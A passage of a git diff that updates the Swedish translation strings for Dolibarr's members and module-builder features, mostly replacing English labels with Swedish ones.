UserNotLinkedToMember=Användare länkade inte till en medlem ThirdpartyNotLinkedToMember=Tredje part inte kopplad till en medlem -MembersTickets=Membership address sheet +MembersTickets=Medlemsadressblad FundationMembers=Stiftelsemedlemmar ListOfValidatedPublicMembers=Förteckning över bekräftades, offentliga medlemmar ErrorThisMemberIsNotPublic=Denna medlem är inte offentlig @@ -15,12 +17,13 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=En annan ledamot (namn: %s, lo ErrorUserPermissionAllowsToLinksToItselfOnly=Av säkerhetsskäl måste du beviljas behörighet att redigera alla användare att kunna koppla en medlem till en användare som inte är din. SetLinkToUser=Koppla till en Dolibarr användare SetLinkToThirdParty=Koppla till en Dolibarr tredje part -MembersCards=Generation of cards for members +MemberCountersArePublic=Räknare för giltiga medlemmar är offentliga +MembersCards=Generering av kort för medlemmar MembersList=Förteckning över medlemmar MembersListToValid=Förteckning över förslag till medlemmar (att bekräftas) MembersListValid=Förteckning över giltiga medlemmar -MembersListUpToDate=List of valid members with up-to-date contribution -MembersListNotUpToDate=List of valid members with out-of-date contribution +MembersListUpToDate=Lista över giltiga medlemmar med aktuellt bidrag +MembersListNotUpToDate=Lista över giltiga medlemmar med inaktuella bidrag MembersListExcluded=Lista över uteslutna medlemmar MembersListResiliated=Förteckning över avslutade medlemmar MembersListQualified=Förteckning över kvalificerade ledamöter @@ -28,15 +31,16 @@ MenuMembersToValidate=Förslag medlemmar MenuMembersValidated=Bekräftat medlemmar MenuMembersExcluded=Uteslutna medlemmar MenuMembersResiliated=Avslutade medlemmar -MembersWithSubscriptionToReceive=Members with contribution to receive -MembersWithSubscriptionToReceiveShort=Contributions to receive -DateSubscription=Date of membership -DateEndSubscription=End date of membership -EndSubscription=End of membership -SubscriptionId=Contribution ID -WithoutSubscription=Without contribution -MemberId=Member Id -MemberRef=Member Ref +MembersWithSubscriptionToReceive=Medlemmar med bidrag att ta emot +MembersWithSubscriptionToReceiveShort=Bidrag att ta emot +DateSubscription=Datum för medlemskap +DateEndSubscription=Slutdatum för medlemskap +EndSubscription=Slut på medlemskap +SubscriptionId=Bidrags-ID +WithoutSubscription=Utan medlemskap +WaitingSubscription=Medlemskap väntar +MemberId=Medlems-ID +MemberRef=Medlem Ref NewMember=Ny medlem MemberType=Medlem typ MemberTypeId=Medlem typ id @@ -44,11 +48,11 @@ MemberTypeLabel=Medlem etikett MembersTypes=Medlemmar typer MemberStatusDraft=Utkast (måste bekräftas) MemberStatusDraftShort=Utkast -MemberStatusActive=Validated (waiting contribution) +MemberStatusActive=Validerad (väntar bidrag) MemberStatusActiveShort=Bekräftade -MemberStatusActiveLate=Contribution expired +MemberStatusActiveLate=Bidraget har löpt ut MemberStatusActiveLateShort=Utgångna -MemberStatusPaid=Prenumeration aktuell +MemberStatusPaid=Abonnemanget är aktuell MemberStatusPaidShort=Aktuell MemberStatusExcluded=Exkluderad medlem MemberStatusExcludedShort=Utesluten @@ -57,12 +61,12 @@ MemberStatusResiliatedShort=Avslutad MembersStatusToValid=Förslag medlemmar MembersStatusExcluded=Uteslutna medlemmar MembersStatusResiliated=Avslutade medlemmar -MemberStatusNoSubscription=Validated (no contribution required) +MemberStatusNoSubscription=Validerad (inget bidrag krävs) MemberStatusNoSubscriptionShort=Bekräftade -SubscriptionNotNeeded=No contribution required +SubscriptionNotNeeded=Inget bidrag krävs NewCotisation=Nya bidrag PaymentSubscription=Nya bidrag betalning -SubscriptionEndDate=Prenumeration slutdatum +SubscriptionEndDate=Abonnemangets slutdatum MembersTypeSetup=Medlemmar typ inställning MemberTypeModified=Medlemstyp ändrad DeleteAMemberType=Ta bort en medlemstyp @@ -70,18 +74,24 @@ ConfirmDeleteMemberType=Är du säker på att du vill radera den här medlemstyp MemberTypeDeleted=Medlemstypen raderad MemberTypeCanNotBeDeleted=Medlemstypen kan inte raderas NewSubscription=Nya bidrag -NewSubscriptionDesc=Denna blankett kan du spela in din prenumeration som en ny medlem i stiftelsen. Om du vill förnya din prenumeration (om du redan är medlem), kontakta styrelsen för stiftelsen i stället av e %s. -Subscription=Contribution -Subscriptions=Contributions -SubscriptionLate=Sent -SubscriptionNotReceived=Contribution never received +NewSubscriptionDesc=Detta formulär låter dig skapa ett abonnemang som en ny medlem i stiftelsen. Om du vill förnya ditt abonnemang (om du redan är medlem), kontakta styrelsen för stiftelsen via e-post %s. +Subscription=Bidrag +AnyAmountWithAdvisedAmount=Valfri mängd, rekommenderas %s +AnyAmountWithoutAdvisedAmount=Valfritt belopp +CanEditAmountShort=Valfritt belopp +CanEditAmountShortForValues=rekommenderas, vilket belopp som helst +MembershipDuration=Längd +GetMembershipButtonLabel=Anslut +Subscriptions=Bidrag +SubscriptionLate=Försent +SubscriptionNotReceived=Bidrag har aldrig mottagits ListOfSubscriptions=List of contributions SendCardByMail=Skicka kort via e-post AddMember=Skapa medlem NoTypeDefinedGoToSetup=Ingen medlem definierade typer. Gå till Setup - Medlemmar typer NewMemberType=Ny medlemstyp WelcomeEMail=Välkommen e-post -SubscriptionRequired=Contribution required +SubscriptionRequired=Bidrag krävs DeleteType=Ta bort VoteAllowed=Röstning tillåten Physical=Enskild @@ -89,62 +99,62 @@ Moral=Företag MorAndPhy=Corporation och individ Reenable=Återaktivera ExcludeMember=Uteslut en medlem -Exclude=Exclude +Exclude=Uteslut ConfirmExcludeMember=Är du säker på att du vill utesluta den här medlemmen? ResiliateMember=Avsluta en medlem ConfirmResiliateMember=Är du säker på att du vill säga upp den här medlemmen? DeleteMember=Ta bort en medlem -ConfirmDeleteMember=Are you sure you want to delete this member (Deleting a member will delete all his contributions)? -DeleteSubscription=Ta bort en prenumeration -ConfirmDeleteSubscription=Are you sure you want to delete this contribution? +ConfirmDeleteMember=Är du säker på att du vill ta bort den här medlemmen (Om du tar bort en medlem raderas alla hans bidrag)? +DeleteSubscription=Ta bort ett abonnemang +ConfirmDeleteSubscription=Är du säker på att du vill ta bort detta bidrag? Filehtpasswd=htpasswd fil ValidateMember=Bekräfta en medlem ConfirmValidateMember=Är du säker på att du vill bekräfta den här medlemmen? FollowingLinksArePublic=Följande länkar är öppna sidor som inte skyddas av något Dolibarr-tillstånd. De är inte formaterade sidor, som ett exempel som visar hur man listar medlemmarnas databas. PublicMemberList=Offentliga medlemslista -BlankSubscriptionForm=Public self-registration form +BlankSubscriptionForm=Offentlig självregistreringsblankett BlankSubscriptionFormDesc=Dolibarr kan ge dig en allmän webbadress / hemsida för att tillåta externa besökare att be om att prenumerera på stiftelsen. Om en online betalningsmodul är aktiverad kan en betalningsblankett också automatiskt tillhandahållas. EnablePublicSubscriptionForm=Aktivera den offentliga webbplatsen med självformulär ForceMemberType=Tvinga medlemstypen -ExportDataset_member_1=Members and contributions +ExportDataset_member_1=Medlemmar och bidrag ImportDataset_member_1=Medlemmar LastMembersModified=Senaste %s modifierade medlemmarna -LastSubscriptionsModified=Latest %s modified contributions +LastSubscriptionsModified=Senaste %s modifierade bidrag String=String Text=Text Int=Int DateAndTime=Datum och tid PublicMemberCard=Medlem offentlig kort -SubscriptionNotRecorded=Contribution not recorded -AddSubscription=Create contribution -ShowSubscription=Show contribution +SubscriptionNotRecorded=Bidrag inte registrerat +AddSubscription=Skapa bidrag +ShowSubscription=Visa bidrag # Label of email templates SendingAnEMailToMember=Skickar informationsmail till medlem SendingEmailOnAutoSubscription=Skickar e-post vid automatisk registrering SendingEmailOnMemberValidation=Skickar e-post vid bekräftande av nya medlemmar -SendingEmailOnNewSubscription=Sending email on new contribution -SendingReminderForExpiredSubscription=Sending reminder for expired contributions +SendingEmailOnNewSubscription=Skickar mail om nytt bidrag +SendingReminderForExpiredSubscription=Skickar påminnelse om utgångna bidrag SendingEmailOnCancelation=Skickar e-post vid avbokning SendingReminderActionComm=Skickar påminnelse för agendahändelse # Topic of email templates YourMembershipRequestWasReceived=Ditt medlemskap har tagits emot. YourMembershipWasValidated=Ditt medlemskap bekräftades -YourSubscriptionWasRecorded=Your new contribution was recorded -SubscriptionReminderEmail=contribution reminder +YourSubscriptionWasRecorded=Ditt nya bidrag skapades +SubscriptionReminderEmail=bidragspåminnelse YourMembershipWasCanceled=Ditt medlemskap avbröts CardContent=Innehållet i ditt medlemskort # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=Vi vill meddela dig att din medlemsförfrågan har mottagits.

      ThisIsContentOfYourMembershipWasValidated=Vi vill meddela att ditt medlemskap bekräftades med följande information:

      -ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded.

      -ThisIsContentOfSubscriptionReminderEmail=Vi vill meddela att din prenumeration är på väg att upphöra eller har gått ut (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Vi hoppas att du kommer att förnya det.

      +ThisIsContentOfYourSubscriptionWasRecorded=Vi vill meddela dig att ditt nya abonnemang har registrerats. Vänligen hitta din faktura här bifogad.

      +ThisIsContentOfSubscriptionReminderEmail=Vi vill meddela att ditt abonnemang är på väg att upphöra eller har gått ut (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Vi hoppas att du kommer att förnya det.

      ThisIsContentOfYourCard=Detta är en sammanfattning av den information vi har om dig. Kontakta oss om något är felaktigt.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Ämnet av meddelandemeddelandet mottaget vid automatisk inskription av en gäst DescADHERENT_AUTOREGISTER_NOTIF_MAIL=Innehållet i meddelandemeddelandet mottaget vid automatisk inskription av en gäst -DescADHERENT_EMAIL_TEMPLATE_AUTOREGISTER=Email template to use to send email to a member on member auto-registration +DescADHERENT_EMAIL_TEMPLATE_AUTOREGISTER=E-postmall att använda för att skicka e-post till en medlem vid automatisk registrering av medlemmar DescADHERENT_EMAIL_TEMPLATE_MEMBER_VALIDATION=E-postmall för att använda för att skicka e-post till en medlem om medlemsbekräftande -DescADHERENT_EMAIL_TEMPLATE_SUBSCRIPTION=Email template to use to send email to a member on new contribution recording -DescADHERENT_EMAIL_TEMPLATE_REMIND_EXPIRATION=Email template to use to send email reminder when contribution is about to expire +DescADHERENT_EMAIL_TEMPLATE_SUBSCRIPTION=E-postmall att använda för att skicka e-post till en medlem vid nytt bidrag +DescADHERENT_EMAIL_TEMPLATE_REMIND_EXPIRATION=E-postmall att använda för att skicka e-postpåminnelse när bidraget är på väg att löpa ut DescADHERENT_EMAIL_TEMPLATE_CANCELATION=E-postmall för att använda för att skicka e-post till en medlem om medlemsavbeställning DescADHERENT_EMAIL_TEMPLATE_EXCLUSION=E-postmall som du kan använda för att skicka e-post till en medlem om uteslutning av medlemmar DescADHERENT_MAIL_FROM=Avsändare E-post för automatiska e-postmeddelanden @@ -157,21 +167,21 @@ DescADHERENT_CARD_TEXT_RIGHT=Text tryckt på medlemskort (Anpassning till höger DescADHERENT_CARD_FOOTER_TEXT=Text tryckt längst ner på medlemskort ShowTypeCard=Visa typ '%' HTPasswordExport=htpassword-fil skapas -NoThirdPartyAssociatedToMember=No third party associated with this member -MembersAndSubscriptions=Members and Contributions +NoThirdPartyAssociatedToMember=Ingen tredje part associerad med denna medlem +MembersAndSubscriptions=Medlemmar och bidrag MoreActions=Kompletterande åtgärder vid registrering -MoreActionsOnSubscription=Complementary action suggested by default when recording a contribution, also done automatially on online payment of a contribution +MoreActionsOnSubscription=Kompletterande åtgärd som föreslagits som standard vid registrering av ett bidrag, görs också automatiskt vid onlinebetalning av ett bidrag MoreActionBankDirect=Skapa en direkt post på bankkontot MoreActionBankViaInvoice=Skapa en faktura och en betalning på bankkonto MoreActionInvoiceOnly=Skapa en faktura utan betalning -LinkToGeneratedPages=Generation of business cards or address sheets +LinkToGeneratedPages=Generering av visitkort eller adressblad LinkToGeneratedPagesDesc=Den här skärmen kan du skapa PDF-filer med visitkort för alla dina medlemmar eller en viss medlem. DocForAllMembersCards=Generera visitkort för alla medlemmar (Format för utgång faktiskt inställning: %s) DocForOneMemberCards=Generera visitkort för en viss medlem (Format för utgång faktiskt inställning: %s) DocForLabels=Generera adress ark (Format för utgång faktiskt inställning: %s) -SubscriptionPayment=Contribution payment -LastSubscriptionDate=Date of latest contribution payment -LastSubscriptionAmount=Amount of latest contribution +SubscriptionPayment=Bidragsbetalning +LastSubscriptionDate=Datum för senaste bidragsinbetalning +LastSubscriptionAmount=Belopp för senaste bidrag LastMemberType=Senaste medlemstyp MembersStatisticsByCountries=Medlemmar statistik per land MembersStatisticsByState=Medlemmar statistik från stat / provins @@ -188,36 +198,41 @@ MembersByRegion=Den här skärmen visar statistik över medlemmar efter region. MembersStatisticsDesc=Välj statistik du vill läsa ... MenuMembersStats=Statistik LastMemberDate=Senaste datum för medlemskap -LatestSubscriptionDate=Latest contribution date +LatestSubscriptionDate=Senaste bidragsdatum MemberNature=Medlemmens natur MembersNature=Medlemmarnas natur Public=Informationen är offentlig NewMemberbyWeb=Ny ledamot till. Väntar på godkännande NewMemberForm=Ny medlem formen -SubscriptionsStatistics=Contributions statistics -NbOfSubscriptions=Number of contributions -AmountOfSubscriptions=Amount collected from contributions +SubscriptionsStatistics=Bidragsstatistik +NbOfSubscriptions=Antal bidrag +AmountOfSubscriptions=Belopp som samlas in från bidrag TurnoverOrBudget=Omsättning (för ett företag) eller Budget (för en stiftelse) -DefaultAmount=Default amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=Hoppa på integrerad online-betalning sidan +DefaultAmount=Standardbelopp för bidrag (används endast om inget belopp är definierat på medlemstypsnivå) +MinimumAmount=Minsta belopp (används endast när bidragsbeloppet är gratis) +CanEditAmount=Prenumerationen är gratis +CanEditAmountDetail=Besökare kan välja/redigera beloppet för sitt bidrag oavsett medlemstyp +AmountIsLowerToMinimumNotice=på totalt förfallen till %s +MEMBER_NEWFORM_PAYONLINE=Efter onlineregistreringen byter du automatiskt på onlinebetalningssidan ByProperties=Efter egenskaper MembersStatisticsByProperties=Medlemsstatistik efter egenskaper -VATToUseForSubscriptions=VAT rate to use for contributionss -NoVatOnSubscription=No VAT for contributions -ADHERENT_PRODUCT_ID_FOR_SUBSCRIPTIONS=Product used for contribution line into invoice: %s +VATToUseForSubscriptions=Momssats att använda för bidrag +NoVatOnSubscription=Ingen moms för bidrag +ADHERENT_PRODUCT_ID_FOR_SUBSCRIPTIONS=Produkt som används för bidragsrad till faktura: %s NameOrCompany=Namn eller Företag -SubscriptionRecorded=Contribution recorded +SubscriptionRecorded=Bidrag registrerat NoEmailSentToMember=Inget email skickat till medlemmen EmailSentToMember=E-post skickad till medlem på %s -SendReminderForExpiredSubscriptionTitle=Send reminder by email for expired contributions -SendReminderForExpiredSubscription=Send reminder by email to members when contribution is about to expire (parameter is number of days before end of membership to send the remind. It can be a list of days separated by a semicolon, for example '10;5;0;-5') +SendReminderForExpiredSubscriptionTitle=Skicka påminnelse via e-post för utgångna bidrag +SendReminderForExpiredSubscription=Skicka påminnelse via e-post till medlemmar när bidraget är på väg att löpa ut (parametern är antalet dagar före slutet av medlemskapet för att skicka påminnelsen. Det kan vara en lista över dagar separerade med semikolon, till exempel '10;5;0;-5 ') MembershipPaid=Medlemskap som betalats för nuvarande period (till %s) YouMayFindYourInvoiceInThisEmail=Du kan hitta din faktura bifogad till det här e-postmeddelandet XMembersClosed=%s medlem(ar) stängda XExternalUserCreated=%s externa användare har skapats ForceMemberNature=Tvinga medlemmarnas natur (individ eller företag) -CreateDolibarrLoginDesc=The creation of a user login for members allows them to connect to the application. Depending on the authorizations granted, they will be able, for example, to consult or modify their file themselves. -CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. -MemberFirstname=Member firstname -MemberLastname=Member lastname +CreateDolibarrLoginDesc=Skapandet av en användarinloggning för medlemmar gör att de kan ansluta till applikationen. Beroende på vilka tillstånd som beviljats kommer de till exempel att kunna konsultera eller ändra sin fil själva. +CreateDolibarrThirdPartyDesc=En tredje part är den juridiska person som kommer att användas på fakturan om du bestämmer dig för att generera faktura för varje bidrag. Du kommer att kunna skapa den senare under processen att spela in bidraget. +MemberFirstname=Medlemmens förnamn +MemberLastname=Medlemmens efternamn +MemberCodeDesc=Medlemskod, unik för alla medlemmar +NoRecordedMembers=No recorded members diff --git a/htdocs/langs/sv_SE/modulebuilder.lang b/htdocs/langs/sv_SE/modulebuilder.lang index 715e897c170..e38ab157fc8 100644 --- a/htdocs/langs/sv_SE/modulebuilder.lang +++ b/htdocs/langs/sv_SE/modulebuilder.lang @@ -1,17 +1,19 @@ # Dolibarr language file - Source file is en_US - loan -ModuleBuilderDesc=This tool must be used only by experienced users or developers. It provides utilities to build or edit your own module. Documentation for alternative manual development is here. -EnterNameOfModuleDesc=Enter the name of the module/application to create with no spaces. Use uppercase to separate words (For example: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, but also API file, pages to list/add/edit/delete object and SQL files will be generated. -EnterNameOfDictionaryDesc=Enter the name of the dictionary to create with no spaces. Use uppercase to separate words (For example: MyDico...). The class file, but also the SQL file will be generated. +IdModule= Modul-id +ModuleBuilderDesc=Detta verktyg får endast användas av erfarna användare eller utvecklare. Det tillhandahåller verktyg för att bygga eller redigera din egen modul. Dokumentation för alternativ manuell utveckling finns här . +EnterNameOfModuleDesc=Ange namnet på modulen/applikationen som ska skapas utan mellanslag. Använd versaler för att separera ord (till exempel: MyModule, EcommerceForShop, SyncWithMySystem...) +EnterNameOfObjectDesc=Ange namnet på objektet som ska skapas utan mellanslag. Använd versaler för att skilja ord åt (till exempel: Mitt objekt, elev, lärare...). Klassfilen CRUD, sidorna att lista/lägga till/redigera/ta bort objektet och SQL-filerna kommer att genereras. +EnterNameOfDictionaryDesc=Ange namnet på den ordbok som ska skapas utan mellanslag. Använd versaler för att skilja ord åt (till exempel: MyDico...). Klassfilen, men även SQL-filen kommer att genereras. ModuleBuilderDesc2=Vägen där moduler genereras / redigeras (första katalogen för externa moduler definierad i %s): %s ModuleBuilderDesc3=Genererade / redigerbara moduler hittades: %s ModuleBuilderDesc4=En modul detekteras som "redigerbar" när filen %s existerar i root av modulkatalogen NewModule=Ny modul NewObjectInModulebuilder=Nytt objekt -NewDictionary=New dictionary +NewDictionary=Ny ordbok +ModuleName=Modulnamn ModuleKey=Modulnyckel ObjectKey=Objektnyckel -DicKey=Dictionary key +DicKey=Ordboksnyckel ModuleInitialized=Modul initialiserad FilesForObjectInitialized=Filer för nytt objekt '%s' initialiserades FilesForObjectUpdated=Filer för objekt '%s' uppdaterad (.sql-filer och .class.php-fil) @@ -48,14 +50,17 @@ PathToModulePackage=Vägen till zip på modulen / applikationspaketet PathToModuleDocumentation=Ban till fil med modul / ansökningsdokumentation (%s) SpaceOrSpecialCharAreNotAllowed=Mellanslag eller specialtecken är inte tillåtna. FileNotYetGenerated=Filen är ännu inte genererad +GenerateCode=Generera kod RegenerateClassAndSql=Tvinga uppdatering av .class- och .sql-filer RegenerateMissingFiles=Generera saknade filer SpecificationFile=Dokumentationsfil LanguageFile=Fil för språk ObjectProperties=Objektegenskaper +Property=Egendom +PropertyDesc=En egenskap är ett attribut som kännetecknar ett objekt. Detta attribut har en kod, en etikett och en typ med flera alternativ. ConfirmDeleteProperty=Är du säker på att du vill ta bort egenskapen %s ? Detta kommer att ändra kod i PHP-klassen men även ta bort kolumn från tabelldefinition av objekt. NotNull=Inte NULL -NotNullDesc=1=Set database to NOT NULL, 0=Allow null values, -1=Allow null values by forcing value to NULL if empty ('' or 0) +NotNullDesc=1=Sätt databasen till NOT NULL, 0=Tillåt nullvärden, -1=Tillåt nollvärden genom att tvinga värdet till NULL om det är tomt ('' eller 0) SearchAll=Används för "sök alla" DatabaseIndex=Databasindex FileAlreadyExists=Filen %s existerar redan @@ -81,15 +86,16 @@ IsAMeasure=Är en åtgärd DirScanned=Directory skannad NoTrigger=Ingen utlösare NoWidget=Ingen widget -GoToApiExplorer=API-utforskare +ApiExplorer=API-utforskare ListOfMenusEntries=Lista över menyuppgifter ListOfDictionariesEntries=Lista över ordböcker ListOfPermissionsDefined=Lista över definierade behörigheter SeeExamples=Se exempel här -EnabledDesc=Villkor att ha detta fält aktivt (Exempel: 1 eller $ conf-> global-> MYMODULE_MYOPTION) -VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing).

      It can be an expression, for example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      ($user->rights->holiday->define_holiday ? 1 : 0) -DisplayOnPdfDesc=Visa detta fält på kompatibla PDF-dokument, du kan hantera position med fältet "Position".
      För närvarande är kända kompatibla PDF-modeller: eratosthen (order), espadon (ship), svamp (fakturor), cyan (propal / offert), cornas (leverantörsbeställning)

      a0e7843947c0cf6a0a0a0a = display
      2 = visa endast om inte tömma

      för dokumentlinjer:
      0 = inte visas
      1 = visas i en kolumn
      3 = visning på rad beskrivning kolumn efter beskrivningen
      4 = display i beskrivningen kolonn efter beskrivning endast om den inte är tom -DisplayOnPdf=Visa på PDF +EnabledDesc=Villkor för att ha detta fält aktivt.

      Exempel:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      +VisibleDesc=Är fältet synligt? (Exempel: 0=Aldrig synlig, 1=Synlig på lista och skapa/uppdatera/visa formulär, 2=Synlig endast på lista, 3=Synlig endast på skapa/uppdatera/visa formulär (inte lista), 4=Synlig på listan och uppdatering/visa endast formulär (inte skapa), 5=Synlig endast på listslutvy formulär (inte skapa, inte uppdatera)

      Att använda ett negativt värde betyder att fältet inte visas som standard på listan men kan väljas för visning). +ItCanBeAnExpression=Det kan vara ett uttryck. Exempel:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Visa detta fält på kompatibla PDF-dokument, du kan hantera position med "Position"-fältet.
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description kolumn efter beskrivningen
      4 = visas i beskrivningskolumnen efter beskrivningen endast om den inte är tom +DisplayOnPdf=På PDF IsAMeasureDesc=Kan värdet av fält ackumuleras för att få en total i listan? (Exempel: 1 eller 0) SearchAllDesc=Är fältet används för att göra en sökning från snabbsökningsverktyget? (Exempel: 1 eller 0) SpecDefDesc=Ange här all dokumentation du vill ge med din modul som inte redan är definierad av andra flikar. Du kan använda .md eller bättre, den rika .asciidoc-syntaxen. @@ -97,11 +103,11 @@ LanguageDefDesc=Skriv in i dessa filer, all nyckel och översättning för varje MenusDefDesc=Definiera här menyerna som tillhandahålls av din modul DictionariesDefDesc=Definiera här ordböckerna som tillhandahålls av din modul PermissionsDefDesc=Definiera här de nya behörigheterna från din modul -MenusDefDescTooltip=The menus provided by your module/application are defined into the array $this->menus into the module descriptor file. You can edit manually this file or use the embedded editor.

      Note: Once defined (and the module re-activated), the menus are also visible into the menu editor available to administrator users on %s. +MenusDefDescTooltip=Menyerna som tillhandahålls av din modul/applikation definieras i arrayen $this->menyer i modulbeskrivningsfilen. Du kan redigera den här filen manuellt eller använda den inbäddade redigeraren.

      Obs: När de har definierats (och modulen återaktiverats), är menyerna också synliga i menyredigeraren som är tillgänglig för administratörsanvändare på %s. DictionariesDefDescTooltip=Ordböckerna som tillhandahålls av din modul / applikation definieras i arrayen $ denna-> ordböcker i modulbeskrivningsfilen. Du kan redigera den här filen manuellt eller använda den inbäddade redigeraren.

      Obs: När de väl är definierade (och modulen har aktiverats igen) är ordböcker också synliga i installationsområdet för administratörsanvändare på %s. PermissionsDefDescTooltip=Behörigheterna från din modul / applikation definieras i arrayen $ this-> rights i modulbeskrivningsfilen. Du kan redigera den här filen manuellt eller använda den inbäddade redigeraren.

      Obs: När de väl är definierade (och modulen har aktiverats igen), visas behörigheterna i standardbehörighetsinställningen %s. HooksDefDesc=Definiera i egenskapen modul_parts ['krokar'] i modulbeskrivningen, kontexten av krokar som du vill hantera (kontextlista kan hittas med en sökning på ' initHooks (' i kärnkoden).
      Redigera krokfilen för att lägga till kod för dina anslutna funktioner (krokbara funktioner kan hittas genom en sökning på ' executeHooks ' i kärnkod). -TriggerDefDesc=Define in the trigger file the code that you want to execute when a business event external to your module is executed (events triggered by other modules). +TriggerDefDesc=Definiera i triggerfilen koden som du vill exekvera när en affärshändelse utanför din modul exekveras (händelser som utlöses av andra moduler). SeeIDsInUse=Se ID-er som används i din installation SeeReservedIDsRangeHere=Se utbud av reserverade ID-skivor ToolkitForDevelopers=Verktygssats för Dolibarr-utvecklare @@ -113,7 +119,7 @@ DropTableIfEmpty=(Förstör bordet om det är tomt) TableDoesNotExists=Tabellen %s existerar inte TableDropped=Tabell %s utgår InitStructureFromExistingTable=Bygg strukturen array-strängen i en befintlig tabell -UseAboutPage=Do not generate the About page +UseAboutPage=Skapa inte sidan Om UseDocFolder=Inaktivera dokumentationsmappen UseSpecificReadme=Använd en specifik ReadMe ContentOfREADMECustomized=Obs! Innehållet i README.md-filen har ersatts med det specifika värde som definierats i installationen av ModuleBuilder. @@ -130,26 +136,40 @@ UseSpecificEditorURL = Använd en specifik redigeringsadress UseSpecificFamily = Använd en specifik familj UseSpecificAuthor = Använd en specifik författare UseSpecificVersion = Använd en specifik första version -IncludeRefGeneration=The reference of object must be generated automatically by custom numbering rules -IncludeRefGenerationHelp=Check this if you want to include code to manage the generation of the reference automatically using custom numbering rules -IncludeDocGeneration=I want to generate some documents from templates for the object +IncludeRefGeneration=Referensen för detta objekt måste genereras automatiskt av anpassade numreringsregler +IncludeRefGenerationHelp=Markera detta om du vill inkludera kod för att hantera genereringen av referensen automatiskt med hjälp av anpassade numreringsregler +IncludeDocGeneration=Jag vill att funktionen ska generera några dokument (PDF, ODT) från mallar för detta objekt IncludeDocGenerationHelp=Om du markerar detta genereras en viss kod för att lägga till rutan "Skapa dokument" i posten. -ShowOnCombobox=Visa värde i kombinationsrutan +ShowOnCombobox=Visa värde i kombinationsrutor KeyForTooltip=Nyckel för verktygstips CSSClass=CSS för redigera / skapa formulär CSSViewClass=CSS för läsform CSSListClass=CSS för lista NotEditable=Ej redigerbar ForeignKey=Främmande nyckel -TypeOfFieldsHelp=Type of fields:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=Om värdet av detta fält måste garanteras finns i en annan tabell. Ange här ett värde som matchar syntaxen: tablename.parentfieldtocheck +TypeOfFieldsHelp=Exempel:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      ' 1' betyder att vi lägger till en +-knapp efter kombinationen för att skapa posten
      'filter' är ett SQL-villkor, exempel: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=Detta är typen av fält/attribut. AsciiToHtmlConverter=Ascii till HTML-omvandlare AsciiToPdfConverter=Ascii till PDF-omvandlare TableNotEmptyDropCanceled=Bordet är inte tomt. Drop har avbrutits. ModuleBuilderNotAllowed=Modulbyggaren är tillgänglig men inte tillåten för din användare. ImportExportProfiles=Importera och exportera profiler -ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or upadate. Set 0 if there is no validation required. -WarningDatabaseIsNotUpdated=Warning: The database is not updated automatically, you must destroy tables and disable-enable the module to have tables recreated -LinkToParentMenu=Parent menu (fk_xxxxmenu) -ListOfTabsEntries=List of tab entries -TabsDefDesc=Define here the tabs provided by your module -TabsDefDescTooltip=The tabs provided by your module/application are defined into the array $this->tabs into the module descriptor file. You can edit manually this file or use the embedded editor. +ValidateModBuilderDesc=Sätt detta till 1 om du vill att metoden $this->validateField() för objekt ska anropas för att validera innehållet i fältet under infogning eller uppdatering. Sätt 0 om det inte krävs någon validering. +WarningDatabaseIsNotUpdated=Varning: Databasen uppdateras inte automatiskt, du måste förstöra tabeller och inaktivera-aktivera modulen för att få tabeller återskapade +LinkToParentMenu=Föräldrameny (fk_xxxxmenu) +ListOfTabsEntries=Lista över flikposter +TabsDefDesc=Definiera flikarna som tillhandahålls av din modul +TabsDefDescTooltip=Flikarna som tillhandahålls av din modul/applikation är definierade i arrayen $this->tabs i modulbeskrivningsfilen. Du kan redigera den här filen manuellt eller använda den inbäddade redigeraren. +BadValueForType=Fel värde för typ %s +DefinePropertiesFromExistingTable=Definiera egenskaper från en befintlig tabell +DefinePropertiesFromExistingTableDesc=Om det redan finns en tabell i databasen (för objektet att skapa) kan du använda den för att definiera objektets egenskaper. +DefinePropertiesFromExistingTableDesc2=Håll tabellen tom om den inte finns ännu. Kodgeneratorn kommer att använda olika typer av fält för att bygga ett exempel på tabell som du kan redigera senare. +GeneratePermissions=Jag vill lägga till rättigheterna för detta objekt +GeneratePermissionsHelp=generera standardrättigheter för detta objekt +PermissionDeletedSuccesfuly=Behörigheten har tagits bort +PermissionUpdatedSuccesfuly=Behörigheten har uppdaterats +PermissionAddedSuccesfuly=Behörighet har lagts till +MenuDeletedSuccessfuly=Menyn har raderats +MenuAddedSuccessfuly=Menyn har lagts till +MenuUpdatedSuccessfuly=Menyn har uppdaterats diff --git a/htdocs/langs/sv_SE/mrp.lang 